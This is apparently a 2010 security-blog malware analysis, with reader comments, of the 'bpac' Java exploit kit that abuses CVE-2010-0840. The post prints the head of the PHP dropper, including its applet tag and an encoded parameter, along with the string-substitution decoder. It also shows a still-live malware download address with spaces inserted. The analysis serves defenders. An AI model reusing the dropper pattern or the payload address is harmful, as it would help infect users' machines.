Java Exploits
The recent Java JRE patch bundle released by Oracle contained a long list of security fixes, several of which for vulnerabilities that allow drive-by exploits. And since Java is present on pretty much every Windows PC, and people don't seem to do their Java updates quite as diligently as their Windows patches, there are A LOT of vulnerable PCs out there. Microsoft reported on this a month ago, and called it an "unprecedented wave of Java exploiting".
It doesn't look like the situation has improved since, and the bad guys are taking advantage. Not surprisingly, the FAQ document on "Virus found in my Java Cache Directory" is ranked third most popular of all the issues listed on http://www.java.com/en/download/help/index.xml. The two issues ranked ahead of it are also security concerns.. not a pretty picture for Oracle or Java, I'd say.
Let's take a look at one of the popular exploits that are making the rounds, the "bpac" family. The exploit used is for CVE-2010-0840 (Hashmap), already covered by the Java patch bundle in July, but apparently still successful enough to be used. I guess the bad guys won't start "burning" their newest Java exploits while the old set is still going strong.
The infection usually happens as follows:
(1) User surfs to website that has been injected with the exploit
(2) Exploit pack triggers - it comes as an obfuscated JavaScript that downloads an Applet and a PDF
(3) The applet contains an exploit, here for CVE-2010-0840
(4) The applet is invoked with a parameter that tells it where to find the EXE
(5) If the exploit is successful, the EXE is downloaded and run
The EXEs pack quite a punch - one recent sample submitted contained no less than 66 individual other malicious EXEs. Yes, a user would be bound to notice this deluge of badness, but he still wouldn't stand a chance to ever clean ALL of this crud off the system again.
Looking at the malware in more detail
-rw-r--r-- 1 daniel users 3738 2010-11-08 09:14 euinirascndmiub.jar
-rw-r--r-- 1 daniel users 21009 2010-11-08 09:13 fuiqaubuk7.php
-rw-r--r-- 1 daniel users 6095 2010-11-08 09:14 jmkohwbrbtgsboj.pdf
The PHP file invokes the applet with parameter
daniel@debian:~/malware$ head fuiqaubuk7.php
<body id='jmery7' name='jmery7'><applet code='bpac.a.class' archive="euinirascndmiub.jar"><param value='RSS=,TT$XINOIAX$IOJTG@HTRMDAI=R=' ame="a"/></applet></body><textarea>function goyla(hrcsyoe6){r .....
The JAR file .. is basically a ZIP, so we can unzip it:
daniel@debian:~/malware$ unzip euinirascndmiub.jar
Archive: euinirascndmiub.jar
inflating: META-INF/MANIFEST.MF
inflating: bpac/a$1.class
inflating: bpac/a.class
inflating: bpac/b.class
inflating: bpac/KAVS.class
From the PHP, we know that "a.class" is the code that gets executed. A Java Decompiler like "jad" can be used to convert the java class files back into something readable akin to Java source code:
daniel@debian:~/malware/bpac$ jad *.class
Generating a.jad
Generating b.jad
Generating KAVS.jad
Generating a$1.jad
On inspection, a.jad indeed contains the CVE-2010-0840 exploit, pretty much a carbon copy of the Metasploit original. More interesting is b.jad, because it contains
String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V", "c").replace("D","d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";", etc
which sure looks like a decoding function. It doesn't take much programming to turn this into a Java file of its own with a "print" statement at the end. When we then add the variable that was set when the applet was invoked, we get
public class x
{
public static void main(String[] args)
{
String s = "RSS=,TT$XINOIAX$IOJTG@HTRMDAI=R=";
String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V","c").replace("D", "d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";","i").replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l").replace("Z", "m").replace("B","n").replace("Q", "o").replace("=", "p").replace("&", "q").replace("M", "r").replace("G", "s").replace("S","t").replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x").replace("P", "y").replace("?","z").replace("T", "/").replace("I", ".").replace("K", "_").replace("(", "_").replace(",", ":").replace("A","1").replace("N", "2").replace("*", "3").replace("J", "4").replace(")", "5").replace("O", "6").replace("$","7").replace("X", "8").replace("+", "9").replace("E", "0")).append("?i=1").toString();
System.out.println(s1);
}
}
Compile with javac, run with java, and lookie, the system prints:
daniel@debian:~/malware/bpac$ java x
http://78. 26.187. 64/sex/hrd1.php?i=1 (spaces added to keep you from clicking, careful, still live!)
which is where the EXE resides. Virustotal currently has it with 14/43.
Bottom line: If you haven't done so yet, hunt down and patch every incarnation of Java on the PCs that you are responsible for.
Comments
CVE-2008-5353
CVE-2009-3867
CVE-2010-0886
CVE-2010-0094
CVE-2010-0840
CVE-2010-1423
CVE-2007-0243
I keep the full list here and will add new entries as I learn about them:
http://blog.sharpesecurity.com/2010/10/25/list-of-currently-exploited-sun-java-vulnerabilities/
Please let me know if there are any errors or omissions in the list.
David
Nov 11th 2010
1 decade ago
netsec_ct
Nov 11th 2010
1 decade ago
Furthermore, most users don't know how to disable Java support in their web browser, don't know what will fail to work if they do, or aren't even aware that such functionality exists. Also, such settings might be restored during updates (not 100% sure about this one, though).
I would very much like it (from a security point of view) if I could download JRE versions that do *not* include web browser applet support. If the installer would ask about this, is fine too.
Reports such as Daniels diary entry will make some people uninstall Java from their PC's. Limiting JRE to essential functionality could mean a life-saver for Java on desktops!
Bitwiper
Nov 11th 2010
1 decade ago
alibert
Nov 11th 2010
1 decade ago
For using banking or public websites you need to use "NemID" a government OTP card. And it has been implemented using client side Java to increase the risk, and to make compatibility as bad as possible. Supposedly they have tried to put some anti-tampering in their code, but if the believe anything clientside is trustworthy, they are not worth your trust.
Can't see why a OTP can't be sent over a SSL connection, and that is it.
But Denmark is wide open for Java attacks.
PHP
Nov 11th 2010
1 decade ago
John McCash
Nov 11th 2010
1 decade ago
Frank
Nov 11th 2010
1 decade ago
Once extracted, I use an MST I wrote to do specifc configuraiton that we require.
Owen
Nov 11th 2010
1 decade ago
Yves
Nov 11th 2010
1 decade ago
64 bit sticks you back into having to check for updates and manual update. And I would like to have a new feature called TelePunch that accurately targets a large fist into the collective faces of the fools who have determined that we need a yahoo toolbar, a google toolbar and a bing toolbar loaded into our systems for reduced speed and added annoyance.
Sean
Nov 11th 2010
1 decade ago